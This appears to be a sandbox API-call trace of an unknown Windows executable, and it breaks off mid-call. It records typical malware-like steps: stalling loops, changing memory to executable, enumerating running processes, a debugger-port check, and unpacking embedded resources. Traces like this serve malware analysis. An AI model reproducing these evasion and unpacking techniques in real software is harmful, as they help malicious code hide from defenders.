GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.386] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.387] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.388] GetLastActivePopup (hWnd=0x0) returned 0x0 [0063.389] GetModuleHandleA (lpModuleName="kernel32") returned 0x761d0000 [0063.389] GetProcAddress (hModule=0x761d0000, lpProcName="VirtualProtect") returned 0x76212341 [0063.389] VirtualProtect (in: lpAddress=0x45c9fb, dwSize=0x5c77, flNewProtect=0x40, lpflOldProtect=0x12fed0 | out: lpflOldProtect=0x12fed0*=0x20) returned 1 [0063.390] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x3e0000 [0063.392] LoadLibraryA (lpLibFileName="shell32") returned 0x767a0000 [0063.392] LoadLibraryA (lpLibFileName="user32") returned 0x77ad0000 [0063.392] LoadLibraryA (lpLibFileName="advapi32") returned 0x76700000 [0063.393] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x3f0000 [0063.393] VirtualAlloc (lpAddress=0x0, dwSize=0x8000005, flAllocationType=0x3000, flProtect=0x4) returned 0x2230000 [0065.695] VirtualFree (lpAddress=0x2230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.361] VirtualAlloc (lpAddress=0x0, dwSize=0x101d0, flAllocationType=0x3000, flProtect=0x4) returned 0x5a0000 [0066.361] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc8 [0066.363] Process32FirstW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.364] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0066.364] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0066.365] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.366] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0066.366] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.367] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0066.368] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0066.368] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0066.369] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0066.370] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.370] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.371] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.371] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.372] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.372] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0066.373] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.373] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.374] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0066.374] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.375] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.375] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.376] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0066.377] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x5e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0066.377] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x364, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0066.378] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.378] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="logical_nickel_booth.exe")) returned 1 [0066.379] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="hint_paying_physicians.exe")) returned 1 [0066.379] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="moves-henderson-civil-assistance.exe")) returned 1 [0066.380] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="cancelled_multimedia_unified.exe")) returned 1 [0066.380] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="organismssustainable.exe")) returned 1 [0066.381] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="statements buys.exe")) returned 1 [0066.381] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="arbitrary-examining-availability-skilled.exe")) returned 1 [0066.382] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyday instruction.exe")) returned 1 [0066.383] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="intl_funk_starter.exe")) returned 1 [0066.383] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="novelty tribute drain pie.exe")) returned 1 [0066.384] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="plc-beginning-epic-wires.exe")) returned 1 [0066.384] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="ee.exe")) returned 1 [0066.385] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="malaysiabeverages.exe")) returned 1 [0066.385] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="toy connectivity file.exe")) returned 1 [0066.386] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication_pet_corporations_cooler.exe")) returned 1 [0066.386] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="based.exe")) returned 1 [0066.387] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="netherlands gaps expect hits.exe")) returned 1 [0066.387] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="amanda.exe")) returned 1 [0066.388] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x404, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="highlights.exe")) returned 1 [0066.388] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="hollandcyprus.exe")) returned 1 [0066.389] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="3838612080743901967.exe")) returned 1 [0066.390] Process32NextW (in: hSnapshot=0xc8, lppe=0x12f7ec | out: lppe=0x12f7ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x608, pcPriClassBase=8, dwFlags=0x0, szExeFile="3838612080743901967.exe")) returned 0 [0066.390] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12f7c4, nSize=0x104 | out: lpFilename="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" (normalized: "c:\\users\\eebsym5\\desktop\\3838612080743901967.exe")) returned 0x30 [0066.390] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1f, ProcessInformation=0x12fa14, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x12fa14, ReturnLength=0x0) returned 0x0 [0066.390] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1e, ProcessInformation=0x12fa10, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x12fa10, ReturnLength=0x0) returned 0xc0000353 [0066.391] GetCommandLineW () returned="\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" " [0066.391] CallWindowProcW (lpPrevWndFunc=0x3f0004, hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x2ca370 [0066.391] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe\" ", pNumArgs=0x12fa14 | out: pNumArgs=0x12fa14) returned 0x2ca370*="C:\\Users\\EEBsYm5\\Desktop\\3838612080743901967.exe" [0066.391] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.391] FindResourceW (hModule=0x400000, lpName=0x3e8, lpType=0x6) returned 0x4733d8 [0066.391] SizeofResource (hModule=0x400000, hResInfo=0x4733d8) returned 0xa0 [0066.391] LoadResource (hModule=0x400000, hResInfo=0x4733d8) returned 0x48d45c [0066.391] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c0000 [0066.391] VirtualAlloc (lpAddress=0x0, dwSize=0x32574, flAllocationType=0x3000, flProtect=0x4) returned 0x2230000 [0066.391] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.391] FindResourceW (hModule=0x400000, lpName=0x266, lpType=0x2) returned 0x472ee8 [0066.391] SizeofResource (hModule=0x400000, hResInfo=0x472ee8) returned 0x529 [0066.391] LoadResource (hModule=0x400000, hResInfo=0x472ee8) returned 0x473e0c [0066.391] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.392] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.392] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.392] FindResourceW (hModule=0x400000, lpName=0x267, lpType=0x2) returned 0x472ef8 [0066.392] SizeofResource (hModule=0x400000, hResInfo=0x472ef8) returned 0x529 [0066.392] LoadResource (hModule=0x400000, hResInfo=0x472ef8) returned 0x474338 [0066.392] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.392] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.392] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.392] FindResourceW (hModule=0x400000, lpName=0x268, lpType=0x2) returned 0x472f08 [0066.392] SizeofResource (hModule=0x400000, hResInfo=0x472f08) returned 0x529 [0066.392] LoadResource (hModule=0x400000, hResInfo=0x472f08) returned 0x474864 [0066.392] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.393] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.393] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.393] FindResourceW (hModule=0x400000, lpName=0x269, lpType=0x2) returned 0x472f18 [0066.393] SizeofResource (hModule=0x400000, hResInfo=0x472f18) returned 0x529 [0066.393] LoadResource (hModule=0x400000, hResInfo=0x472f18) returned 0x474d90 [0066.393] VirtualAlloc (lpAddress=0x0, dwSize=0x529, flAllocationType=0x3000, flProtect=0x4) returned 0x5d0000 [0066.393] VirtualFree (lpAddress=0x5d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.393] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0066.393] FindResourceW (hModule=0x400000, lpName=0x26a, lpType=0x2) returned 0x472f28 [0066.393] SizeofResource (hModule=0x400000, hResInfo=0x472f28) returned 0x529 [0066.393] LoadResource (hModule=0x400000, 